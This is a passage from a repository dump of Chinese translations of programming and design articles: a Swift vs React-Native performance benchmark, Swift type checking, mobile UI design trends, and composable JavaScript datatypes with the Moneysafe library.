###\n\n现在是时候来对比一下看看哪个应用性能更出色了。我会通过 Apple Instruments（Xcode 里的工具包）工具，测试两个应用的三个主要类别：CPU（“Time Profiler Tool”）、GPU（“Core Animation Tool”）和内存使用 （“Allocations Tool”）。Apple Instruments 允许我连接手机，然后选择手机上的任何应用，再选择我要用的测试工具，然后记录测试。\n\n每个应用有 4 个 tab，每个 tab 都有一个“任务”，我在每个类别里测试。首先是 “Profile”，它的功能是登陆 Facebook。在代码里的表现形式是请求 Facebook 服务器，返回个人信息图片、邮箱以及姓名。第二个（“To Do List”）任务是从列表里添加或删除一个“代办项”。第三个（“Page View”）任务是在三个页面间来回滑动。第四个(“Maps”)任务是点击 tab 后，代码会让 GPS 来放大我当前的位置，在我的位置上放一个蓝色的放射形标记。\n\n### CPU 测试 ###\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*pSaqGVOJ8EnNgSr3i7cmwg.png\">\n\nSwift VS React-Native 的 CPU 用量\n\n**让我们来看看各个类别的情况：**\n\n***Profile:*** React-Native 在这里略胜一筹，它比 Swift 更有效地利用了 1.86% 的 CPU。在执行任务并记录数据的过程中，当我按下 “Log in with Facebook” 按钮的时候可以明显观察到有一个峰值。\n\n***To Do List:*** React-Native 同样以微弱的优势胜出，它比 Swift 节省了 1.53% 的 CPU 的使用。在执行任务并记录数据的过程中，当我**添加完(added)** 一项以及**删除完(deleted)** 一项的时候，可以明显观察到有一个峰值。\n\n***Page View:*** 这一次，Swift 用 8.82% 的 CPU 使用率打败了 React-Native。在执行任务并记录数据的过程中，当我滑动到另一个不同的页面时候可以明显观察到有一个峰值。当我停留在一个页面时，CPU 的使用会减少，但是如果我再次滑动页面，CPU 的使用就会增加。\n\n***Maps:*** Swift 再次以 13.68% 的优势胜出。在执行任务并记录数据的过程中，当我按下 “Maps” 这个 tab 的时候可以明显观察到有一个峰值，这会促使 MapView 找到我当前位置，并显示一个显眼的蓝色脉冲点。\n\n是的，Swift 和 React-Native 都赢得了两个 tab 的胜利，但是整体而言 Swift 更高效的使用了 17.58% 的 CPU。如果我让自己不专注于单个任务执行与停止，而是在各个应用长时间运行，那结果可能会不同。而我也注意到了在切换不同的 tab 时，CPU 使用并没有变化。\n\n### GPU 测试 ###\n\n我们要绘制的第二个数据表是 GPU 用量情况。 我将为 Swift 和 React Native 的项目中的每个 tab 执行一个任务并记下测量结果。Y 轴的高度是 60 帧/秒。每秒，我执行每个 tab 的任务的时候，一个测量就会被 “Core Animation” 工具记录下来。我会取这些数据的平均值，然后绘制成下面的图表。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*VCrdvrBoterX_v25H9z3Pw.png\">\n\nSwift VS React-Native 的 GPU 用量\n让我们看看每个类别的情况：\n\n***Profile:*** Swift 以比 React Native 高出 1.7 帧/秒的帧率的微弱优势，赢得了这个 tab 的胜利。在执行任务并记录数据的过程中，当我按下 “Log in with Facebook” 按钮的时候可以明显观察到有一个峰值。\n\n***To Do List:*** React-Native 以比 Swift 高出 6.25 帧/秒的帧率赢得了这个类别的胜利。在执行任务并记录数据的过程中，当我**添加完(added)** 一项以及**删除完(deleted)** 一项的时候，可以明显观察到有一个峰值。\n\n***Page View:*** Swift 在这个 tab 上以 3.6 帧/秒的帧率击败了 React-Native。在执行任务并记录数据的过程中，我观察到，如果我快速滑动两个页面，帧率会急升到 50。如果我停留在一个页面，那帧率会下降，但是如果我重新再页面之间滑动，帧数又会急升。\n\n***Maps:*** React-Native 赢得了这个类别的胜利，因为它的帧率比 Swift 高出 3 帧/秒。在执行任务并记录数据的过程中，当我按下 “Maps” 这个 tab 的时候，可以明显观察到有一个峰值，且这会促使 MapView 会找到我当前位置，并显示一个显眼的蓝色脉冲点。\n\nSwift 和 React-Native 再一次的各自赢得了两个 tab 的胜利。但是，React-Native 以 0.95 帧/秒在整体上胜出。Facebook 从 React-Native 的代码中榨出的果汁量让人非常吃惊 — 目前为止，React-Native 似乎和 iOS（Swift）不相上下。\n\n### 内存测试 ###\n\n我们要绘制的第三个数据表是内存的使用情况。我将为 Swift 和 React Native 的项目中的每个 tab 执行一个任务并记下测量结果。Y 轴（内存）的高度是我测量数据的最高值。CPU 的使用率采集间隔是 1 毫秒。在每毫秒，我执行每个 tab 的任务的时候，“Allocations” 工具就会记录一个测量。我会取这些数据的平均值，然后绘制成下面的图表。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*zV5VBZJBc7IfX9qSMzPm1A.png\">\n\nSwift VS React-Native 内存使用\n让我们看看每个类别的情况：\n\n***Profile:*** Swift 以节省 0.02 MiB 的内存使用，稍微赢得这个 tab 的胜利。在执行任务并记录数据的过程中，当我按下 “Log in with Facebook” 按钮的时候可以明显观察到有一个峰值。\n\n***To Do List:*** React-Native 以比 Swift 节省 0.83 MiB 的内存赢得了这个 tab 的胜利。在执行任务并记录数据的过程中，当我向列表**添加完(added)** 一项以及**删除完(deleted)** 一项的时候，可以明显观察到有一个峰值。\n\n***Page View:*** 在这个 tab 中，React-Native 以节省 0.04 MiB 的内存用量击败了 Swift。在执行任务并记录数据的过程中，我发现我在 PageView 切换页面的时，内存的峰值并没有改变。字面上没变。\n\n***Maps:*** React-Native 节省了 61.11 MiB 的内存，以巨大优势赢得了这个类别的胜利。在执行任务并记录数据的过程中，我按下 “Maps” 这个 tab 的时候可以明显观察到一个峰值，而且这会促使 MapView 会找到我当前位置，并显示一个显眼的蓝色脉冲点。在两个 app 里，内存都在持续的增加，但最终都停止了。\n\nReact-Native 赢得了 3 个 tab 的胜利，而 Swift 赢得了 1 个。整体而言，React-Native 比 Swift 节省了 61.96 MiB 的内存。如果我让自己不专注于单个任务执行与停止，而是在各个应用长时间运行，那结果可能会不同。我在 “Maps” 的 tab 注意到，当我缩放地图或者移动地图的时候，内存呈指数地增长。“Maps” 消耗的内存要远远高于其他情况。\n\n### 结论 ###\n\n我用 Swift 和 React-Native 写的移动应用程序外观看上去几乎相同。从我在 4 个 tab 的任务中，测试应用程序的 CPU、GPU 和内存所收集的数据可以看出，应用程序的性能也几乎相同。Swift 在 CPU 这一类别整体胜出，React-Native 在 GPU 这一类别（略微）胜出，而在内存上以巨大的优势胜出。我可以从这个数据推测出，在 iPhone 上，Swift 比 React-Native 更有效的利用了 CPU，而 React-Native 比 Swift 略微有效的利用了 GPU，而且 React-Native 在某种程度上更有效的利用了 iphone 的内存。React-Native 在平台上的性能更好，赢得了三个类别中的两个。\n\n我并没有考虑原生的 Android 应用。iOS 是我优先选择的平台，所以这是我最关心的。但是，我也会尽快的在 Android 上完成同样的实验。我很好奇结果会是什么，但是我敢打赌，如果 React-Native 能比原生的 iOS 性能好，那它也一定比原生的 Android 的性能要好。\n\n我现在更加确信 React-Native 是未来的框架 - 它有这么多的优点，那么少的缺点。React-Native 可以用Javascript 编写（许多开发人员已经知道的语言），它的代码库可以部署到 iOS 和 Android 平台，制作应用程序的速度更快、成本更低，而且开发人员可以直接推送更新，而用户不必再下载更新。最棒的是，在刚推出一年的时候，React-Native 的性能已经超越了原生的 iOS Swift 应用程序。\n\n### 引用 ###\n\nAbed, Robbie. “Hybrid vs Native Mobile Apps — The Answer Is Clear.” *Y Media Labs*, 10 Nov. 2016, [www.ymedialabs.com/hybrid-vs-native-mobile-apps-the-answer-](http://www.ymedialabs.com/hybrid-vs-native-mobile-apps-the-answer-) is-clear/. Accessed 5 December 2016.\n\nM, Igor. “IOS App Performance: Instruments &Amp; Beyond.” *Medium*, 2 Feb. 2016, medium.com/@mandrigin/ios-app-performance-instruments-beyond- 48fe7b7cdf2#.6knqxp1gd. Accessed 4 Dec 2016.\n\n“React Native | A Framework for Building Native Apps Using React.” *React Native*, facebook.github.io/react-native/releases/next/. Accessed 5 Dec 2016.\n"
  },
  {
    "path": "TODO/compile-time-vs-runtime-type-checking-swift.md",
    "content": ">* 原文链接 : [Compile Time vs. Run Time Type Checking in Swift](http://blog.benjamin-encz.de/post/compile-time-vs-runtime-type-checking-swift/)\n* 原文作者 : [Benjamin Encz](https://twitter.com/benjaminencz)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Jack](https://github.com/Jack-Kingdom)\n* 校对者: [Tuccuay](https://github.com/Tuccuay), [void-main](https://github.com/void-main)\n\n# 深度剖析 Swift 编译与运行时的类型检查\n\n当我们学习如何使用 Swift 的类型系统时，理解 Swift（与其他编程语言类似）静态与动态两种不同的类型检查机制非常重要。 今天,我想简短地谈论一下二者的不同以及组合使用二者时一些令人头疼的地方。\n\n静态类型检查发生在编译期，动态类型检查则在运行期。 二者使用了部分不兼容的不同工具集。\n\n## 编译期的类型检查\n\n编译期类型检查（或称为静态类型检查）操作 Swift 源码。 Swift 编译器会检查声明的类型并进行类型推断，确保类型约束的正确性。\n\n这是一个静态类型检查的简单的例子：\n\n    let text: String = \"\"\n    // 编译错误: 不能将 'String' 类型的值转换为 'Int' \n    let number: Int = text\n\n据源码编译器能够确定 `text` 不是 `Int` 类型 - 因此他抛出了一个编译错误。\n\nSwift 的静态类型检查器可以完成许多更强大的工作，例如验证泛型约束：\n\n    protocol HasName {}\n    protocol HumanType {}\n\n    struct User: HasName, HumanType { }\n    struct Visitor: HasName, HumanType { }\n    struct Car: HasName {}\n\n    // Require a type that is both human and provides a name\n    func printHumanName<T: protocol<HumanType, HasName>>(thing: T) {\n        // ...\n    }\n\n    // 正常编译：\n    printHumanName(User())\n    // 正常编译：\n    printHumanName(Visitor())\n    // 不能用类型为 '(Car)' 的参数列表调用 'printHumanName' \n    printHumanName(Car())\n\n在这个例子中，所有的类型检查再次发生在编译期，仅基于源代码。 Swift 编译器能够验证调用 `printHumanName` 函数的参数与泛型约束的是否匹配；一有不符便会发出编译错误。\n尽管 Swift 的静态类型系统提供了如此多的编译期验证的强大工具。 但是，在某些情况下，运行期类型检查也是必要的。\n\n## 运行期的类型检查\n\n不幸的是我们并不能光靠静态类型检查就解决所有问题。 从外部资源（网络，数据库，等等）读取数据就是最常见的例子。 在这些情况下数据和类型信息并不在源码中，此外我们也无法向静态类型检查器证明我们的数据是一个特定的类型（因为静态类型检查器只能对源码上获取的信息进行操作）。\n\n这意味着我们需要在运行期动态地_验证_类型，而非静态地定义。\n\n在进行运行期的类型检查时我们依赖于 Swift 实例存储在内存中的元数据类型。 在这个阶段，`is` 和 `as` 关键字是验证元数据是否是特定类型或符合特定协议的实例的仅有工具。\n\n这也是形形色色的 Swift JSON 映射库所做的事——提供一套方便的API动态地转换一个未知的类型使其与一个特定变量的类型相匹配。\n\n在许多情况下动态类型检查使得我们能够在通过静态检查的 Swift 代码中整合编译期的未知类型：\n\n    func takesHuman(human: HumanType) {}\n\n    var unknownData: Any = User()\n\n    if let unknownData = unknownData as? HumanType {\n        takesHuman(unknownData)\n    }\n\n以 `unknownData` 调用函数，我们只需将其转换为函数的参数类型。\n\n虽然如此，如果我们尝试使用这种方法去调用以泛型约束为参的函数时，则会出错...\n\n## 结合动态与静态类型检查\n\n继续之前 `printHumanName` 的例子，假定我们通过网络请求收到了数据，继而我们需要调用 `printHumanName` 方法 - 如果动态类型推断允许我们这样做的话。\n\n我们的类型必须符合两种不同的协议才能成为 `printHumanName` 函数的合格参数。\n那么，我们动态地检查一下条件：\n\n    var unknownData: Any = User()\n\n    if let unknownData = unknownData as? protocol<HumanType, HasName> {\n        // 编译错误：不能以 '(protocol<HasName, HumanType>)' 参数类型调用 'printHumanName' \n        printHumanName(unknownData)\n    }\n\n上面例子中的动态类型检查实际上正确地执行了。 确认类型满足两种预期的协议后， `if let`代码块才能执行。 虽然如此，我们不能对编译器如此使用。 编译器期待的是一个符合 `HumanType` 与 `HasName` 的_具体的_类型（能够在编译期完全界定的类型）。 而我们所能提供的是一个只能动态验证的类型。\n\n在 Swift 2.2 中，没有办法使其通过编译。 在这篇文章的最后，我将简要地谈一谈如何对 Swift 做出一些必要的改变使得这种方法能够工作。\n\n现在，我们需要一个解决方案。\n\n### 解决方案\n\n之前，我们尝试使用了下面两种方法：\n\n*   将 `unknownData` 转换为一种确定的类型而非协议\n*   提供 `printHumanName` 第二种不使用泛型约束的实现\n\n确定类型的解决方案如下：\n\n    if let user = unknownData as? User {\n        printHumanName(user)\n    } else if let visitor = unknownData as? Visitor {\n        printHumanName(visitor)\n    }\n\n并不优雅；但在某些情况下这是最可能的解决方案。\n\n重新实现 `printHumanName` 方法的解决方案如下(具体的方案有很多)： \n\n    func _printHumanName(thing: Any) {\n        if let hasName = thing as? HasName where thing is HumanType {\n            // Put implementation code here\n            // Or call a third function that is shared between\n            // both implementations of `printHumanName`\n        } else {\n            fatalError(\"Provided Incorrect Type\")\n        }\n    }\n\n    _printHumanName(unknownData)\n\n在这种解决方案里，我们用运行期检查取代了编译器约束。 我们将 `Any` 类型转换为能够允许我们获取相应信息打印姓名的 `HasName` 类型，并且我们使用了 `is` 检查确认类型符合 `HumanType` 。 我们已经确立了一种等价于泛型约束的动态类型检查。\n\n如果一个随机的类型符合我们需要的协议，那么我们所提供的第二种实现将会动态地执行。实际上，我会将调用 `printHumanName` 与 `_printHumanName` 的实际功能抽取出来写成一个新的函数——这样我们就能避免重复编码。\n\n方案中的“类型擦除”函数接受一个 `Any` 参数并不十分美观； 实际上在函数能够被保证通过正确的类型调用时我使用过类似的方法，但是没有一种 Swift 类型系统支持的表达方式。\n\n## 结论\n\n上面的例子是非常简单的，但是我希望他们能展示编译期与运行期类型检查的不同。 关键在于：\n\n*   静态类型检查在编译期工作，依靠类型声明和类型约束对源码进行类型检查。\n*   动态类型检查依靠运行时的信息和转换进行类型检查。\n*   **我们不能动态转换一个参数去调用一个以泛型约束为参的函数**.\n\nSwift 是否有可能会添加这样的支持呢？ 我认为这种动态地创建和使用约束元类型的能力需要的。\n这种语法可能会像这样：\n\n    if let <T: HumanType, HasName> value = unknownData as? T {\n    \tprintHumanName(value)\n    }\n\n关于 Swift 编译器我了解的太少以至于我并不知道这样是否可行。 可以预见的是这样的改进相比给 Swift 代码库的微小益处而言，修改关联代码重新实现的代价将可能非常巨大。\n\n虽然如此, 根据这篇 [David Smith](https://twitter.com/Catfish_Man) 在 [Stack Overflow 的回答](http://stackoverflow.com/questions/28124684/swift-check-if-generic-type-conforms-to-protocol)， Swift 现今已可以在运行期检查泛型约束（除非编译器为一个函数生成的性能优化的副本）. 这意味着泛型约束的信息在运行期是可用的，并且至少在理论上来说动态创建元类型约束是可行的。\n\n现在，我们就更好理解结合动态与静态类型检查的局限性和可行的解决方法。\n\n没有 [@AirspeedSwift](https://twitter.com/AirspeedSwift) 的优秀引文我难以完成这篇文章。\n"
  },
  {
    "path": "TODO/complexion-reduction-a-new-trend-in-mobile-design.md",
    "content": ">* 原文链接 : [Complexion Reduction: A New Trend In Mobile Design](https://medium.com/swarm-nyc/complexion-reduction-a-new-trend-in-mobile-design-cef033a0b978)\n* 原文作者 : [Michael Horton](https://medium.com/@michaelhorton)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [shixinzhang](https://github.com/shixinzhang)\n* 校对者 : [cyseria ](https://github.com/cyseria ) , [wild-flame](https://github.com/wild-flame)\n\n# 移动应用设计新趋势\n\n**我们生活在一个“极简风格”的世界有些时候了，接下来会怎么样呢？**\n\n过去的几个月中，一些创新设计的先驱将“简约设计”带到了新的阶段。Facebook, Airbnb 和 Apple 都 都遵循一种相似的“界面简化”的设计风格来凸出产品的内容，这种设计影响了移动设计的新趋势。\n\n#### 究竟什么是“界面简化”？\n\n什么？你从来没听说过这个概念？好吧，因为它是我命名的:)。最近我留意到一种超越扁平化设计、极简设计的新设计趋势，它与[简化设计](http://www.uxbooth.com/articles/progressive-content/)也没有关系。有些人可能认为它只是极简设计下一阶段在移动端的实现，但是我认为这两者完全不同。下面是描述新趋势的一些特点。我决定给它命名为“界面简化”。没人不同意吧？:)\n\n**风靡硅谷的新趋势有以下特点：**\n\n1. **标题更大、更粗**\n2. **图标更简单、更常见**\n3. **去除大量的颜色**\n\n使用这种设计的结果呢？一些受人喜爱的应用的界面越来越像同一个品牌下的产品。\n\n#### 举几个栗子\n\n五月初 **Instagram** 发布[新版界面](https://medium.com/@ianspalter/designing-a-new-look-for-instagram-inspired-by-the-community-84530eb355e3#.gmyokj9qa)时我开启注意到这种新趋势。\n\n![](http://ww2.sinaimg.cn/large/a490147fgw1f5rbu2godsj20go0frtb7.jpg)\n\n官方介绍新版界面做了去除整个应用大部分的蓝色、深灰色，加粗标题，简化底部导航栏跟图标等改变。**剩下的是一款标题明显、内容突出、功能清晰的黑白主色调界面。**我喜欢这种简洁的界面，同时想起了另一款我追随好久的平台[**Medium**](http://www.medium.com)。Medium从2012年开始就使用黑白色基调，每次改版都在简化界面，实际上人们都不知道 Medium 是“界面简化”的发起人之一。恭喜 Medium !\n\n在 Facebook 发布 Instagram 新版界面后不久，我发现 Airbnb 跟 Instagram 看起来也太像了！这是 Airbnb [四月份发布新版界面](https://www.airbnb.com/livethere)后我第一次使用，但是我的感觉是早就见过这种界面。\n\n![](http://ww3.sinaimg.cn/large/a490147fgw1f5rbuk3685j20go0hr76v.jpg)\n\n虽然一个月后 **Airbnb** 的新版 UI 没有像 Instagram 发布新设计界面时那样被大肆报道（可能是因为它没有换一款让人眼前一亮的应用图标），它还是遵循了很多“界面简化”的要点的。\n\nAirbnb 移动端新界面的标题更大更粗，同时去除了不必要的图片和背景色，简化了图标让它们更容易辨认功能。**剩下的是一款内容突出、功能清晰的黑白主题界面。**\n\n**Apple** 最近也加入了“界面简化”的设计风潮。这个月初，科技界巨头苹果公司在它们的 [WWDC](http://www.wired.com/2016/06/heres-everything-apple-announced-wwdc-2016/) 大会上发布了许多用户期待的东西，其中包括所谓的“最最最牛的 iOS 版本” iOS 10 正式版（或许跟 iOS 8 相比的确牛一些:( ）。\n\n![](http://ww2.sinaimg.cn/large/a490147fgw1f5rbv560zij20go0hr415.jpg)\n\n在 WWDC 上有一个内容吸引了我，**Apple Music 的新版 UI** 。新版 UI 最大的改动是用户体验的变化和一些其他特点，其中最先吸引我的是整体界面的美感。Macword 全职作家 \nCaitlin McGarry [对新版界面描述道](http://www.macworld.com/article/3082637/ios/every-change-coming-to-apple-music-in-ios-10.html)：**“这是一个全新的界面，大号的卡片布局，显眼的字体，白色简洁的背景，让专辑封面更加耀眼**\n\n听起来是不是有点耳熟？Apple Music 的设计跟 Instagram 、Airbnb 的设计风格略有不同（后者用的是完全填充的图标，Apple Music 怎么不换呢？），但是关键元素都是一样的：显眼的标题，黑白色调的界面。\n\n#### 这些应用的新版界面意味着什么呢？\n\n正如我开始所说，将来会有越来越多的应用看起来长得都很相似。为什么这么说？就跟 NFL （美国国家足球联盟）一样，科技圈里到处都是山寨版。这些新版设计普遍受到好评（有些人可能一开始会抱怨这些黑白界面中没有什么特点，但是没多久他们就会适应了。人们使用软件都是为了使用它的功能，而不是为了它的特点），所以我希望所有应用都能加入这股“界面简化”的热潮中！\n\n> 这意味着你的iPhone主屏幕上很快只是一片会带给你欢乐的五颜六色的闪耀的马赛克了。\n\n![](http://ww3.sinaimg.cn/large/a490147fgw1f5rbwhezc1j20u00goaee.jpg)\n\n**现在不论你是否支持这种单色调的设计风格，都要承认它是一种进步。**产品的设计从之前的崇尚浮夸，开始逐渐演化的更聚焦于用户。在过去的产品设计流程中，用户体验师或者产品经理将原型图交给设计师，然后扔下句：“做的好看点。”设计师花费好多时间填色、去色、改色，却一直没有注意到最好的解决方法就在他们面前，那些原型图！在如今更加完整的设计流程中，\n设计师和体验师的界限越来越模糊，设计师不必那么担心没有尽到他们的责任（比如把界面做的好看些），从而可以专注于为他们的用户创造最好的产品。\n\n#### 界面简化的最终指南\n\n现在你也看好“界面简化”并且准备跟随这种风潮？好的，遵循以下指导,没多久你的应用就能大火特火！\n\n> **1\\. 去除颜色。**当然你可以有一种主题色，但是要慎用，尽量只用在指示操作上。剩下的最好都用黑白色，突显你应用的内容。\n\n> **2\\. 更大、更粗、颜色更黑的标题。**你看到那个标题了吗？将它增加约20至30像素，让它看起来“重”一些。\n\n> **3\\. 简单、辨识度高的图标。**应用里的图标（底部导航的图标）最好很常见，周围也不要有什么颜色。把它们从左到右按这种顺序排列；主页、搜索、主要操作、次要操作、个人中心，这样体验更好。\n\n> **4\\. 增加两倍甚至三倍的留白。**甚至四倍留白，多点总没错。\n\n> **5\\. 应用图标颜色更亮些。**如果你喜欢设计一些带有闪光和颜色的东西，就做应用图标吧。它可以表现你的个性和品牌，让它脱颖而出吧！\n\n"
  },
  {
    "path": "TODO/composable-datatypes-with-functions.md",
    "content": "\n> * 原文地址：[Composable Datatypes with Functions](https://medium.com/javascript-scene/composable-datatypes-with-functions-aec72db3b093)\n> * 原文作者：[\nEric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/composable-datatypes-with-functions.md](https://github.com/xitu/gold-miner/blob/master/TODO/composable-datatypes-with-functions.md)\n> * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi)\n> * 校对者：[IridescentMia](https://github.com/IridescentMia) [lampui](https://github.com/lampui)\n\n# 借助函数完成可组合的数据类型（软件编写）（第十部分）\n\n![Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0)](https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg)\n\n（译注：该图是用 PS 将烟雾处理成方块状后得到的效果，参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。）\n\n> 注意：这是 “软件编写” 系列文章的第十部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability)）。后续还有更多精彩内容，敬请期待！\n> [<上一篇](https://medium.com/javascript-scene/why-composition-is-harder-with-classes-c3e627dcd0aa) | [<< 返回第一章](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md)\n\n在 JavaScript 中，最简单的方式完成组合就是函数组合，并且一个函数只是一个你能够为之添加方法的对象。换言之，你可以这么做：\n\n```js\nconst t = value => {\n  const fn = () => value;\n  fn.toString = () => `t(${ value })`;\n  return fn;\n};\n\nconst someValue = t(2);\nconsole.log(\n  someValue.toString() // \"t(2)\"\n);\n```\n\n这是一个返回数字类型实例的工厂函数 `t`。但是要注意，这些实例不是简单的对象，它们是函数，并且是可组合的函数。假定我们使用 `t()` 来完成求和任务，那么当我们组合若干个函数 `t()` 来求和也就是合情合理的。 \n\n首先，假定我们为 `t()` 确立了一些规则（`====` 意味着 “等于”）：\n\n- `t(x)(t(0)) ==== t(x)`\n- `t(x)(t(1)) ==== t(x + 1)`\n\n在 JavaScript 中，你也可以通过我们创建好的 `.toString()` 方法进行比较：\n\n- `t(x)(t(0)).toString() === t(x).toString()`\n- `t(x)(t(1)).toString() === t(x + 1).toString()`\n\n我们也能将上述代码翻译为一种简单的单元测试：\n\n```js\nconst assert = {\n  same: (actual, expected, msg) => {\n    if (actual.toString() !== expected.toString()) {\n      throw new Error(`NOT OK: ${ msg }\n        Expected: ${ expected }\n        Actual:   ${ actual }\n      `);\n    }\n    console.log(`OK: ${ msg }`);\n  }\n};\n\n{\n  const msg = 'a value t(x) composed with t(0) ==== t(x)';\n  const x = 20;\n  const a = t(x)(t(0));\n  const b = t(x);\n  assert.same(a, b, msg);\n}\n{\n  const msg = 'a value t(x) composed with t(1) ==== t(x + 1)';\n  const x = 20;\n  const a = t(x)(t(1));\n  const b = t(x + 1);\n  assert.same(a, b, msg);\n}\n```\n\n起初，测试会失败：\n\n```\nNOT OK: a value t(x) composed with t(0) ==== t(x)\n        Expected: t(20)\n        Actual:   20\n```\n\n但是我们经过下面 3 步能让测试通过：\n\n1. 将函数 `fn` 变为 `add` 函数，该函数返回 `t(value + n)` ，`n` 表示传入参数。\n2. 为函数 `t` 添加一个 `.valueOf()` 方法，使得新的 `add()` 函数能够接受 `t()` 返回的实例作为参数。 `+` 运算符会使用 `n.valueOf()` 的结果作为第二个操作数。\n3. 使用 `Object.assign()` 将 `toString()`，`.valueOf()` 方法分配给 `add()` 函数\n\n将 1 至 3 步综合起来得到：\n\n```js\nconst t = value => {\n  const add = n => t(value + n);\n  return Object.assign(add, {\n    toString: () => `t(${ value })`,\n    valueOf: () => value\n  });\n};\n```\n\n之后，测试便能通过：\n\n```\n\"OK: a value t(x) composed with t(0) ==== t(x)\"\n\"OK: a value t(x) composed with t(1) ==== t(x + 1)\"\n```\n\n现在，你可以使用函数组合来组合 t() ，从而达到求和任务：\n\n```js\n// 自顶向下的函数组合：\nconst pipe = (...fns) => x => fns.reduce((y, f) => f(y), x);\n// 求和函数为 pipeline 传入需要的初始值\n// curry 化的 pipeline 复用度更好，我们可以延迟传入任意的初始值\nconst sumT = (...fns) => pipe(...fns)(t(0));\nsumT(\n  t(2),\n  t(4),\n  t(-1)\n).valueOf(); // 5\n```\n\n## 任何数据类型都适用\n\n无论你的数据形态是什么样子的，只要它存在有意义的组合操作，上面的策略都能帮到你。对于列表或者字符串来说，组合能够完成连接操作。对于 DSP（数字信号处理）来说，组合完成的就是信号的求和。当然，其他的操作也能为你带来想要的结果。那么问题来了，哪种操作最能反映组合的观念？换言之，哪种操作能更受益于下面的代码组织方式：\n\n```js\nconst result = compose(\n  value1,\n  value2,\n  value3\n);\n```\n\n## 可组合的货币\n\n[Moneysafe](https://github.com/ericelliott/moneysafe) 是一个实现了这个可组合的、函数式数据类型风格的开源库。JavaScript 的 `Number` 类型无法精确地表示美分的计算：\n\n```js\n.1 + .2 === .3 // false\n```\n\nMoneysafe 通过将美元类型提升为美分类型解决了这个问题：\n\n```\nnpm install --save moneysafe\n```\n\n之后：\n\n```js\nimport { $ } from 'moneysafe';\n$(.1) + $(.2) === $(.3).cents; // true\n```\n\nledger 语法利用了 Moneysafe 将一般的值提升为可组合函数的优势。它暴露一个简单的、称之为 ledger 的函数组合套件：\n\n```js\nimport { $ } from 'moneysafe';\nimport { $$, subtractPercent, addPercent } from 'moneysafe/ledger';\n$$(\n  $(40),\n  $(60),\n  // 减去折扣\n  subtractPercent(20),\n  // 上税\n  addPercent(10)\n).$; // 88\n```\n\n该函数的返回值类型是提升后 money 类型。该返回值暴露一个 `.$` getter 方法，这个 getter 能够将内部的浮点美分值四舍五入为美元。\n\n该结果是执行 ledger 风格的金币计算一个直观反映。\n\n## 测试一下你是否真的懂了\n\n克隆 Moneysafe 仓库:\n\n```\ngit clone git@github.com:ericelliott/moneysafe.git\n```\n\n\n执行安装过程：\n\n```\nnpm install\n```\n\n运行单元测试，监控控制台输出。所有的用例都会通过：\n\n```\nnpm run watch\n```\n\n打开一个新的终端，删除 moneysafe 的实现：\n\n```\nrm source/moneysafe.js && touch source/moneysafe.js\n```\n\n回到之前的终端窗口，你将会看到一个错误。\n\n你现在的任务是利用单元测试输出及文档的帮助，从头实现 `moneysafe.js` 并通过所有测试。\n\n[下一篇: JavaScript Monads 让一切变得简单 >](https://medium.com/javascript-scene/javascript-monads-made-simple-7856be57bfe8)\n\n## 接下来\n\n想学习更多 JavaScript 函数式编程吗？\n\n[跟着 Eric Elliott 学 Javacript](http://ericelliottjs.com/product/lifetime-access-pass/)，机不可失时不再来！\n\n[<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg\">](https://ericelliottjs.com/product/lifetime-access-pass/)\n\n**Eric Elliott** 是  [**“编写 JavaScript 应用”**](http://pjabook.com) （O’Reilly） 以及 [**“跟着 Eric Elliott 学 Javascript”**](http://ericelliottjs.com/product/lifetime-access-pass/) 两书的作者。他为许多公司和组织作过贡献，例如 **Adobe Systems**、**Zumba Fitness**、**The Wall Street Journal**、**ESPN** 和 **BBC** 等 , 也是很多机构的顶级艺术家，包括但不限于 **Usher**、**Frank Ocean** 以及 **Metallica**。\n\n大多数时间，他都在 San Francisco Bay Area，同这世上最美丽的女子在一起。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/comprehensive-guide-web-design.md",
    "content": "> * 原文地址：[A Comprehensive Guide To Web Design](https://www.smashingmagazine.com/2017/11/comprehensive-guide-web-design/?utm_source=frontendfocus&utm_medium=email)\n> * 原文作者：[Nick Babich](https://www.smashingmagazine.com/author/nickbabich)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/comprehensive-guide-web-design.md](https://github.com/xitu/gold-miner/blob/master/TODO/comprehensive-guide-web-design.md)\n> * 译者：[horizon13th](https://github.com/horizon13th)\n> * 校对者：[pot-code](https://github.com/pot-code)\n        \n# A Comprehensive Guide To Web Design\n# 